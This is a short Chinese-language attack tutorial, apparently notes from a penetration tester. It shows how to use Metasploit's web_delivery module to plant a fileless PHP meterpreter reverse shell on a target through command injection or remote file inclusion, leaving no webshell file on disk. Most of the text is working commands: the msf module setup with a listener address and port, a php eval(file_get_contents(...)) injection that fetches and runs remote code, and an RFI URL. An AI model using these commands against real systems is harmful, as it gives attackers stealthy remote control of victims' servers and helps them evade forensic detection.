背景:目標設備存在遠程文件包含漏洞或者命令注入漏洞,想在目標設備上加載webshell,但不想在目標設備硬盤上留下任何webshell文件信息
解決思路:讓目標設備從遠端服務器加載webshell代碼至內存執行
錯誤嘗試:遠端服務器開啟web服務,讓目標設備來調取。(錯誤點:默認情況下目標設備來調取的時候其實是將webshell在遠端服務器執行,並不是將文件加載至自己內存執行)
正確方法與工具:使用msf中exploit的web_delivery模塊。此模塊支持在本地監聽一個端口,別人一旦訪問該端口就會將該端口內的文件讀取至本地執行(把webshell放在該端口下剛剛好)。
具體使用步驟:
1、use exploit/multi/script/web_delivery
2、set target PHP ====>因為一般web平台默認支持PHP,所以我們選擇兼容性最好的PHP做webshell
3、set payload php/meterpreter/reverse_tcp ====>選擇php寫的meterpreter
4、set lhost 172.20.163.160
5、set lport 1111
6、run
運行成功后顯示(只需讓目標設備在系統命令下執行標紅部分命令就可得到對方shell):
利用方式:
1、命令注入漏洞:
在注入點注入: php -d allow_url_fopen=true -r "eval(file_get_contents('http://172.20.163.160:1111/OgsOFaj3yKH'));"
2、遠程文件包含漏洞:
在包含漏洞處包含: http://172.20.163.160:1111/OgsOFaj3yKH